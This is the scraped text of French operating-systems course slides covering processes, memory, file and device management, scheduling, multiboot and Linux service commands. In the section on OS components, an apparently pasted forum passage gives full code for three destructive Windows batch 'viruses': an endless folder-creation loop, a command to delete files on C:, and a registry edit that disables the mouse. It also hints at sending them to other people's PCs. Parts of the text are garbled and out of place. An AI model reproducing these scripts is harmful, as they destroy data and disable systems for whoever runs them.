Systeme Exploitation PDF

Télécharger au format pdf ou txt
Télécharger au format pdf ou txt
Vous êtes sur la page 1sur 93

sYSTÈME D’EXPLOITATION 1

Présenté par kientega Raoul


Enseignant chercheur en informatique
Un ordinateur est constitué de matériel (hardware) et
de logiciel (software). Cet ensemble est à la disposition de un ou plusieurs
utilisateurs.
Il est donc nécessaire que quelque chose dans l’ordinateur permette la
communication entre l’homme et la machine. Cette entité doit assurer une grande
souplesse dans l’interface et doit permettre d’accéder à toutes les fonctionnalités
de la machine. Cette entité douée d’une certaine intelligence de communication se
dénomme " la machine virtuelle ". Elle est la réunion du matériel et du système
d’exploitation (que nous noterons OS par la suite pour Operationg System).
Leçon 1 : Principes et histoire des
systèmes d’exploitation

Dès l’apparition des systèmes d’exploitation, aux années 60, le monde


informatique a connu un large changement dans les méthodes d’utilisation et de
développement des ordinateurs.
Ce premier chapitre introductif mettra l’accent sur l’histoire des systèmes
d’exploitation tout rappelant certaines notions.
Qu’est ce qu’un système d’exploitation

Selon plusieurs auteurs, un système d’exploitation (SE en abrégé) est défini


comme étant un ensemble de programmes ayant pour tâche de faire fonctionner
un ordinateur. Un système d’exploitation jouera ainsi le rôle d’intermédiaire entre
l’utilisateur et la machine.
On peut dire, à ce stade, que le système d’exploitation joue le rôle d’une machine
virtuelle (par rapport à la machine physique) qui va cacher la complexité du
matériel.
Les composants d'un système
d'exploitation
Lorsqu'un téléchargement ou une action (comme une défragmentation du
disque dur ou une analyse par un antivirus) est en cours d'exécution, un arrêt
planifié peut être programmé à l'aide d'un fichier Batch. Une seule commande
est nécessaire : shutdown, la commande d'arrêt du PC. Pour créer votre fichier
Batch, il vous suffit de lancer le Bloc-Notes de Windows et de taper cette
commande en première ligne
Des Exemples Pour C'est Logiciel Malveillant Et Il est Avec un .Bat a la
fin

Virus est très dangereux d'ouvrir le fichier 3000 en quelques secondes


et freeze le bureau

Non recommandé cliquant dessus après sa création, il entraînera la création de


plus de 3000 dossier sur le bureau, vous ne pouvez pas l'arrêter, même sur le
gestionnaire des tâches de Windows vous ne pouvez pas le trouver, il fonctionne
lorsque vous mettez dans et amener l'ordinateur à un Formatage Pour créer ce
virus vous placez : ce code dans le Bloc-notes
@echo off
:top
md %random%
goto top

Et Vous Enregistrez Le Fichier En Format .bat Et Voila L'Exemple


Youssef.bat Alors C'est Fait Pour Le Premier Virus On Passe
Au Deuxième Virus
virus Qui Formatte Le Pc

Ce virus est également dangereux, provoquant un


Formatage dans un disque dur c, de l'essayer, le
faire sur le Virtual Box , comme dans le premier cas,
et vous verrez il détruit tous les fichiers sur le c Pour
créer ce virus vous placez ce code dans le Bloc-
notes:
@Echo off

Del C:\ *.* |y

Et Vous Enregistrez Au Format .bat


rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------

Et Vous enregistrez Avec Format .Bat A La Fin


Attention toute responsabilité dans le cas de la pression sur ces fichiers après sa
création
Si Vous L'envoyez Pour Un Personne Pour Détruire Son Pc Alors Le But Pour Ce
Post Est Juste éducative et savoir la gravité de ces fichiers Rien D'autre
Virus Pour Supprimer La Souris De Votre Pc

Ce virus supprime part la souris, et son expérience a également non


conseillé sur votre ordinateur, car il entraînera dans vos fenêtres de geler
le mouvement de la souris en supprimant La Souris Pour créer ce virus
vous placez ce code dans le Bloc-notes
Trois Virus Dangereux Vous Pouvez Créer Sur Pc Et Détruis Le Windows
Complètement

Le System D'exploitation Windows Vous Permet De Créer Des Logiciel A Partir du


notepad pour différentes utilisation Peut être utile dans le cas où vous employez
Des Codes à un usage particulier adjoint Windows, en revanche, peuvent utiliser
d'autres Code de détruire tout ordinateur après la mise en place de ces
programmes
Structuration d’un système
d’exploitation

On a déjà vu précédemment que le système d’exploitation est un


intermédiaire entre l’utilisateur (qui va utiliser les applications de
l’ordinateur) et le matériel (qui est composé de périphériques et organes
internes et externes). Ce rôle nous mène à dire que le SE est formé d’un
ensemble de parties ou couches. La structuration d’un SE est sa
représentation en couches.
Concepts importants du Chapitre
Structure UNIX
Fonctionnalités d’un système
d’exploitation
Réaliser un multiboot

Le multiboot est un terme qui signifie l'utilisation de plusieurs systèmes


d'exploitation sur le même PC. Le problème qui peut se poser avec le
multiboot, c'est l'activation de l'écran de choix entre les systèmes installés
pendant le démarrage de votre PC, en d'autres termes plus techniques : la
configuration du bootloader dans le MBR.

EasyBCD est un utilitaire simple est efficace pour réaliser une telle
tâche, il permet d'ajouter essentiellement les systèmes Windows,
Linux et MacOS. Cependant, l'utilitaire est fonctionnel seulement sur
Windows, ce qui implique que vous devez avoir accès à Windows. Il
est donc impératif d'installer Windows en dernier.
Utilisation du logiciel
Rôles secondaire des systèmes d’exploitations

 Gestion de l’exécution des applications : le système d’exploitation


est chargé de la bonne exécution des applications en leur affectant les
ressources nécessaires à leur bon fonctionnement. Il permet à ce titre
de « tuer » une application ne répondant plus correctement.

 Gestion des droit : le système d’exploitation est chargé de la sécurité


liée à l’exécution des programmes en garantissant que les ressources
ne sont pas utilisées que par des programmes et utilisateur possédant
les droit adéquats.

 Gestion des fichiers : le système d’exploitation gère la lecture et


l’écriture dan le système de fichier et des droits d’accès aux fichiers par
les utilisateurs et les applications.

 Gestion des informations : le système d’exploitation fournit un certain


nombre d’indicateurs permettant de diagnostiquer le bon
fonctionnement de la machine.
QUELQUES Fonctionnalités d’un
système d’exploitation
Activation sur Microsoft .NET Framework

Avant d'installer des logiciels sur les postes de travail ou les serveurs
Windows, vérifiez que la fonctionnalité de système d'exploitation
Microsoft .NET Framework est activée ou figure sur chaque poste de
travail et chaque serveur.
Procédure

1 Pour activer Microsoft .NET Framework sous Windows


:Sélectionnez Démarrer > Panneau de
configuration > Programmes > Programmes et fonctionnalités.
Sélectionnez Activer ou désactiver des fonctionnalités Windows.
Si la fonctionnalité n'est pas déjà installée, sélectionnez Microsoft .NET
Framework et cliquez sur OK.
Redémarrez la machine quand un message le demande.
2 Pour activer Microsoft .NET Framework sous Windows 2008 :
Sélectionnez Démarrer > Outils d'administration > Gestionnaire de
serveur.
Dans le panneau de hiérarchie Gestionnaire de serveur,
sélectionnez Fonctionnalités.
Si la fonctionnalité n'est pas déjà installée, cliquez sur Ajouter des
fonctionnalités.
Sélectionnez Fonctionnalité .NET Framework et cliquez sur Suivant.
Cliquez sur Installer.
Assurez-vous que l'installation est réussie, puis cliquez sur Fermer.

slmgr/xpr
Windows 8 : Comment démarrer en
mode sans échec ?

En cas d’infection par un virus ou un logiciel malveillant, il peut être utile de


démarrer un PC en « mode sans échec », grâce à la touche F8. Mais cette
touche de raccourci n’est plus active sous Windows 8. Comment la réactiver ?
Comment démarrer en mode sans échec ?
Comment démarrer en mode sans échec sous Windows 8
Si vous êtes assez rapide lorsque le démarrage système s’amorce, pressez les
touches « Maj » (shift gauche) et « F8 » pour accéder au mode de démarrage
avancé. Mais si votre PC est particulièrement puissant, le démarrage s’effectue
trop rapidement pour effectuer cette combinaison.

Comment réactiver la touche F8 (démarrage) sous Windows 8


solutions pour activer le mode sans échec sur Windows 10
Commande chkconfig (gérer les services)

Utilisation chkconfig

chkconfig est un utilitaire qui permet de gérer les services réseaux linux en ligne de
commande sur Redhat ou Centos. Il se révèle pratique dans le sens ou il permet
par exemple de gérer des services dans un script ou d'ajouter un service par
exmple. Pour cela il faut que le script du service soit correctement remplit (voir un
déjà existant),

Obtenir des informations sur les services


Qu'est-ce qu'un runlevel

C'est un niveau représentant l'état du système dans lequel tourne votre unix.
Ce niveau porte un nom (relativement arbitraire) et définit un ensemble de
programmes qui doivent être lancés ou arrêtés.

Qui gère les runlevels ?


C'est init qui s'occupe de définir le runlevel quand on lui demande.
La commande tasklist permet aussi de lister les processus
Comment stopper un processus un programme Linux

Dans le cas peu probable ou vous auriez besoin de stopper un programme qui ne
répond plus sous Linux, voici la commande à utiliser : kill

Kill va "tuer" le processus récalcitrant qui vous empêche de continuer à utiliser


votre ordinateur.

Nous allons taper une commande pour obtenir la liste des processus en cours avec
le numéro du processus (PID).
ps x
Description du système d’exploitation
Le Système d’exploitation, est chargé d’assurer la liaison entre les ressources
matérielles, l’utilisateur et les applications. Ainsi, lorsqu’un programme désire
accéder à une ressource matérielle, il ne lui est pas nécessaire d’envoyer des
informations spécifiques au périphérique, il lui suffit d’envoyer les informations
au système d’exploitation, qui se charge de les transmettre au périphérique
concerné via son pilote (programme informatique également nommé Driver,
destiné à permettre à un autre programme d’interagir avec un périphérique).

Le système d’exploitation permet ainsi de dissocier les programmes et le


matériel, afin notamment de simplifier la gestion des ressources et d’offrir à
l’utilisateur une interface homme-machine (IHM) simplifiée afin de lui permettre
de s’affranchir de la complexité de la machine physique.
Machines Virtuelles

Machines virtuelles: le problème et la solution


Implémentations
MAC, et autres permettent de rouler Windows sur leur plateforme
Ils doivent fournir à Windows un environnement que Windows reconnaît comme son
environnement matériel
Introduction aux processus

Un processus (process) est un programme en cours d’exécution


dans un ordinateur

C’est une entité active avec son propre compteur ordinal


Lorsque l'on fait exécuter plusieurs programmes "en même temps", nous
savons qu'en fait la simultanéité n'est pas réelle. Le processeur passe
cycliquement une partie de son temps (quelques millisecondes) à exécuter
séquentiellement une tranche d'instructions de chacun des programmes selon
une logique qui lui est propre, donnant ainsi l'illusion que tous les programmes
sont traités en même temps parce que la durée de l'exécution d'une tranche
d'instruction est plus rapide que notre attention consciente.
La gestion des processus est l’une des fonctionnalités les plus
importantes et critiques d’un système d’exploitation. La gestion des
processus rassemble des activités relatives au traitement du
processus. Ce chapitre traitera en premier lieu le cycle de vie d’un
processus.
Le cycle représenté ci-dessus décrit celui des processus dans
un système mono-processeur (un seul processeur) utilisant une
stratégie d’ordonnancement basée sur le partage de temps

Gestion de la mémoire centrale

Nous avons déjà vu que la mémoire centrale est composée de cellules


utilisées pour stocker les données et les instructions d’un programme. En
effet, l’exécution d’un programme se fait en mémoire centrale en allouant
un espace suffisant pour en contenir les données (constantes et variables)
et les instructions du code source
Le service de gestion de la mémoire centrale peut comporter les actions
suivantes

 Diviser de la mémoire en deux parties ou zones : zone système et zone


utilisateur ;
 Allouer les espaces mémoires pour les programmes en exécution ;
 Charger les processus dans les espaces alloués ;
 Vérifier l’intégrité des espaces mémoire réservés.
Gestion des fichiers
 Un fichier peut être défini comme étant une unité de stockage logique de
l’information.
 Pratiquement, le fichier est le seul et unique moyen logique pour sauvegarder les
données.
 Un fichier peut avoir les attributs suivants : nom, taille, type, protection, date,
propriétaire,…
 Un fichier peut être classé en deux catégories selon la nature des informations y
contenues : fichiers programmes et fichiers de données.
 La gestion des fichiers est l’ensemble des actions relatives à leur existence :
création, édition, recherche, duplication, suppression, impression,
compression,…
Gestion des périphériques

Un périphérique est un dispositif connecté à l’ordinateur pour assurer des


fonctionnalités à celui-ci. Le périphérique joue un rôle essentiel pour assurer le
dialogue entre l’ordinateur et son milieu externe. Généralement, lorsqu’on ajoute
un nouveau périphérique à l’ordinateur, on doit installer sur le système un
programme spécifique appelé pilote permettant au système d’exploitation de
reconnaître ce périphérique et de l’utiliser correctement.
Les services de gestion de périphériques peuvent concerner l’installation, le
paramétrage et l’utilisation des périphériques
Les périphériques sont tous les dispositifs informatiques qui permettent au
processeur de communiquer avec l'extérieur : clavier, imprimante, carte
réseau, mémoire, disque dur. Ils permettent en particulier de recevoir des
informations, d'en envoyer,

Une des responsabilités du système d'exploitation est de suivre l'état


d'utilisation - libre ou réservé - de tout le matériel du système informatique.
Lorsqu'un matériel libre est demandé par un processus, il est alors réservé à
ce processus. Pour utiliser un périphérique, le système d'exploitation se sert
d'un contrôleur et d'un pilote de périphérique.
Contrôleur

Un contrôleur est un composant électronique, qui comporte une mémoire tampon,


et manipule un certain type de périphérique (disque dur, imprimante, mémoire,
lecteur de bande magnétique...
Le contrôleur est souvent intégré au périphérique
Les instructions de manipulation d'une gamme de contrôleurs donnée sont
incluses dans un pilote informatique
Il existe deux stratégies de manipulation des contrôleurs
Les contrôleurs rapides
le processeur envoie des demandes d'opérations au contrôleur puis vérifie de
manière intermittente l'état du contrôleur pour vérifier si l'opération demandée est
terminée

Les contrôleurs moins rapides


le processeur effectue une demande au contrôleur, puis continue d'exécuter
des logiciels applicatifs. Le contrôleur envoie un signal électrique lorsque
l'opération est terminée
Appels systèmes

En informatique, un appel système (c'est-à-dire appel au système


[d'exploitation]1) (en anglais, system call, abrégé en syscall) désigne le moment
où un programme s'interrompt pour demander au système d'exploitation
d'accomplir pour lui une certaine tâche.
Ordonnancement dans les systèmes d'exploitation

Dans les systèmes d'exploitation, l’ordonnanceur désigne le composant du


noyau du système d'exploitation choisissant l'ordre d'exécution des processus
sur les processeurs d'un ordinateur.
Un processus a besoin de la ressource processeur pour exécuter des calculs;
il l'abandonne quand se produit une interruption, etc. De nombreux anciens
processeurs ne peuvent effectuer qu'un traitement à la fois. Pour les autres, un
ordonnanceur reste nécessaire pour déterminer quel processus sera exécuté
sur quel processeur (c'est la notion d'affinité, très importante pour ne pas
dégrader les performances). Au-delà des classiques processeurs multicœur, la
notion d'hyperthreading rend la question de l'ordonnancement encore un peu
plus complexe.
À un instant donné, il y a souvent davantage de processus à exécuter que de
processeurs.
Un des rôles du système d'exploitation, et plus précisément de l'ordonnanceur
du noyau, est de permettre à tous ces processus de s'exécuter à un moment ou
un autre et d'utiliser au mieux le processeur pour l'utilisateur. Pour que chaque
tâche s'exécute sans se préoccuper des autres et/ou aussi pour exécuter les
tâches selon les contraintes imposées au système (exemple: contraintes
temporelles dans le cas d'un système d'exploitation temps réel) , l'ordonnanceur
du noyau du système effectue des commutations de contexte de celui-ci.

Vous aimerez peut-être aussi